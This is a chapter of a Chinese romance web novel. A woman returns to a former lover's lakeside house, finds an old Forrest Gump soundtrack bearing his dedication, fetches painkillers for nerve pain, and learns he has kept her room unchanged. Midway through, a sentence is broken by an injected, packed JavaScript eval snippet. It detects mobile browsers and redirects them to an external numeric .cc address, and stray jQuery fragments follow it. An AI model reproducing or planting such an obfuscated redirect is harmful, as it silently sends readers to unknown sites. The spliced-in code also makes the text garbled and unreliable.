她那时走得干脆，像极了她年少时在校园里独来独往的模样。
可现在——
叶语莺低头，指腹缓慢摩挲着唱片封套边缘。指甲无声地掠过那枚金色编号，117。
她原本想把唱片装进唱片机，但指尖悬在唱针上方迟迟未落。最终，她轻轻一笑，将唱片收回原处，仿佛那段旋律一旦响起，就会将某些那段过去连根拔起。
她佯作轻松，随口道，“算了，还是看电影吧。”
电影原声带被收纳在柜子最上层，她坐着伸手，勉强能够到边角。
手指刚触碰到一盒磁带，立刻缩了回来——指尖沾了薄薄一层灰。
她挑眉扬唇，语气带着点调侃：“你请的钟点工看来不太专业，光看得见的地方擦得一尘不染，看不见的地方都积灰了。”
程明笃正从厨房出来，手里端着一壶温水，闻言，无声弯了弯唇角，没接话。
心里升起一缕好奇，想知道他这些年都爱看什么电影。
她又稍微抬手够了够，将一张原声带小心翼翼地从边缘抽出来。
她将最上面的原声带拿了下来，那封面上熟悉的配色让她心脏狠狠一紧，隐隐猜到了什么。
那是一张看上去有些年头的老封套，保存极好，边角平整，胶封有些泛黄。
她小心将封套翻过来，封面上是熟悉的画面——白底、红蓝撞色字体，男人身穿米白色西装，微微露出浅蓝色衬衫的领口边缘，红色棒球帽不见了，他坐在一条长椅上，身体略微前倾，双手从两旁搭在长椅上，一只棕色皮质公文箱，背景一片洁白。
整个封面风格极简，是那种90年代美式设计中很典型的“留白感”，只在画面上方标有片名 Forrest Gump（《阿甘正传》），字体朴素干净。
1994年出品的经典老片，书写了阿甘一生的缩影。
哪怕时隔多年，那一眼也足以唤醒某段静默的时光。
她小心地将封套翻面，果然还贴着那张已泛黄的进口贴纸，角落用黑色小字写着——
「To Y.Y.
有些人，用尽一生奔跑；
有些人，只在原地等风。
愿你始终在自己的节奏里奔跑，
不必回头顾。
——M.D.」
一头一尾，刚好是他们名字的首字母答谢，正式又克制。
可能程明笃当时写下这句潇洒的祝愿时，压根没想到多年后她能将这句话践行得如此彻底。
程明笃没动，眼神却落在她指尖，一瞬未移。
她将原声带迅速塞回原位，摊着沾灰的双手，一时忡怔。
“不爱看《阿甘正传》了？”他淡淡问。
“看了这么多年，有点腻了，换一个吧。”她回过神笑了一下，把原声带放回原处，随手抽出底下的《肖申克的救赎》，递给他。
他接过碟片，将碟片放入播放器，按下播放键。
在现在观影平台如此丰富的世代，这种方式显得非常复古，画面就像是成年后做的关于幼年的梦，一切的老物件和摆设都有种失真感，让人下意识觉得是注定停留在回忆里的画面。
投影仪缓缓亮起，白色幕布将光晕晕染在客厅一侧的墙上。开场是肖申克监狱上空那只随风飘落的羽毛，柔软无声，却不知飘向何方。
她想起的《阿甘正传》的开头也是羽毛掉落在阿甘的脚下，于是他开始讲述自己的故事……
她坐回沙发，微仰着头靠在靠垫上，望着天花板发呆。
两人相对无言地坐着，坐在客厅的两端的沙发上，中间隔着最遥远的原木茶几，光影将他们的影子投在幕布边缘，有些重叠，有些错位。
中途，茶凉了，程明笃起身去厨房重新烧水。
前后不过几分钟的时间，再回头时，叶语莺微微弓着的肩背，双手攥紧裙摆，指节泛白。
就在刚才，她又开始神经痛了，下意识伸手在包中准备拿止痛药，手在包里摸了半天，只摸到一个快空掉的药盒和几颗糖果……
陡然想起临出门前带了一盒新的，换鞋的时候和房卡一起忘在了酒店……
“你怎么了？”他放下水，语气加重。
她抬头看了他一眼，胸膛剧烈起伏，用很淡的表情掩盖，声音有气无力：“生理期来了，有点不舒服……”
她的声音压得很低，带点嘶哑，像是不愿在这样安静又私密的空间里谈起自己的身体。
程明笃看着她的脸色，眼神稍沉。
“没带止痛药吗？”
“落在酒店了。”她语气很轻松，仿佛只是不小心忘了一个发圈那样，“不过附近药房应该有点远吧吧，麻烦你带我去一趟。”
他拿着车钥匙准备出门：“我直接帮你买，很快。”
她立刻摇头，“没事，你送我过去就行。”
她想要的止痛药如果是用于神经性疼痛的，属于处方药，如果她自己不亲自去，几乎没有购买到的可能。
程明笃没有再劝，只走过去，从一边拿起她的大衣和伞，“外面地滑，我车去把车开到门口。”
这是老房子，停车场设在了后院。
她点点头，站起身来，动作慢得像是所有关节都卡了顿。
趁着程明笃去开车，她将最后一粒止痛药拿出，犹豫了一瞬，放在了舌下。
只要在药效过掉之间承接新的止痛药就可以。
车开过来，程明笃上前接她，替她推开门。风一下子灌了进来，虽然这个方位雷暴来得晚一些，但是从极致的湿气和被吹皱的湖面就能判断，雷暴即将来袭。
她撑着伞，他撑着她。
尽管他们之间曾经发生过亲密，但是此刻他用的仍然是绅士手。
他没有询问她是否需要帮助，她没有强调自己的拒绝，两人都心照不宣。
他们缓步地走下石板台阶，鞋底与潮湿地面摩擦出细碎的声响。车停得不远，他打开副驾，护着她坐进去，然后绕到另一边上车。
“医院附近有24小时药房，只有两公里，很快。”他说，语气平静。
她点了点头，将头一偏，额头抵着玻璃，闭了闭眼。痛感如同骨头缝里钻进来的大虫，持续地蠕动，蓄势待发，压迫着每一寸神经。
窗外的路灯一盏一盏掠过，哪怕闭着眼，她也能感觉到眼前的明暗。
路途上，她又回想起了什么，从前没有人跟她提过布洛芬，初潮之后她每个月都抱着一个热水袋咬着牙硬抗。
后来程明笃给了她人生的第一颗止痛药，并且在之后的日子里都在药盒里和她书包的夹层里给她备好布洛芬。
她缓缓睁眼，有些虚弱地体会着身上的痛楚，忽然在想，自己如今这么依赖止痛药是不是这些生命中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299062|167021||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的关键事件有关。
车停在医院附近的药房门口，她撑着伞慢慢下车，程明笃也跟上来，陪她一同进去。
她让程明笃去车上等她，在他疑惑的目光中坦言，“我有隐疾，顺便买点别的，不方便让你知道。”
程明笃沉静的脸松动半分，原本只是轻皱了下眉，但听到“隐疾”两个字，神色微变。他喉结动了动，似乎想开口，却终究忍住了，没问。
“我自己来，很快。”叶语莺说得平静，甚至礼貌。
程明笃没再坚持，转身朝外走去：“门口等你。”
她点了点头，转身挪步到了药师面前。
药师认出了她开的药名，脸色一顿：“这个药，需要凭处方拿。”
她早有准备，这些东西都是随时备好的，她平时很难有这样的低级差错。
药装进袋子后的瞬间，她才在心里松了口气。
叶语莺出来了，手里捏着一个浅蓝色塑封袋，脸色依旧苍白，但眼神稍微清明了些。
她远远瞧见程明笃站在长廊上，屋檐外细细密密下着雨，他的掌心摩挲着那只已经被她握暖的雨伞柄，眼神沉着。
程明笃一般是鲜少有这样无意识的动作的。
雨势忽然加大，天边远远劈下一道闪电，街道上的行人都加快了脚步，唯有他仿佛与世隔绝一样，站得原地一动不动。
她没说话，只轻轻点了点头，然后快步走回车里。
程明笃替她关上车门，再上车，车厢门“啪”地一声合上，世界像是被隔音棉包住了。
“严重吗？”他问。
她靠着座椅后背，声音淡，但不冷，是一种掺着疲惫的诚实，“不严重。”
他隐忍又不着痕迹地放过了所有解释。
程明笃没说话，启动了车子。
车子调转方向，从医院门口驶出，重新回到湖边的那条小路上。
窗外雨点杂乱地敲在玻璃上，像一支节奏错乱的鼓点。
一路无言。
回到栖止小筑时，雷声终于滚落，像一声声远古低鸣，在湖面和山林间来回回响。
屋子里依旧温热，客厅传来了电影里熟悉的对白。
“我要准备洗漱下休息了。”她说。
程明笃点点头：“热水已经开了。”
“我住二楼吗？”
二楼是她之前的房间。
“那里已经改成杂物室了，住一楼吧，你不用上楼。”
她淡笑着同意了，细看之下，似乎没有半点失去房间的失落。
她走得很慢，像是每一步都在和身体达成某种妥协。等她身影消失在走廊尽头，他才抬头，看向二楼尽头处的房间——她曾经的卧室。
目光落在那扇门口，久久没有动。
如果那扇紧闭的大门打开，就彻底剖开了他尘封的心绪。
因为那房间里，一切未变，就连窗帘的褶皱都和她离开前是一致的。
积灰的《阿甘正传》，不是因为钟点工不专业，而是因为他禁止别人碰这里任何陈设，就连电影和书籍的顺序都不允许打乱。
就好像这样就能让这里的时间静止，一直保留着八年前与她相关的一切。
能让他偶尔，走进这时光。
雷声之外，是彻夜未散的风雨，而风雨之中，一场早已无法逆转的旧情，正被时间，一点点剥开。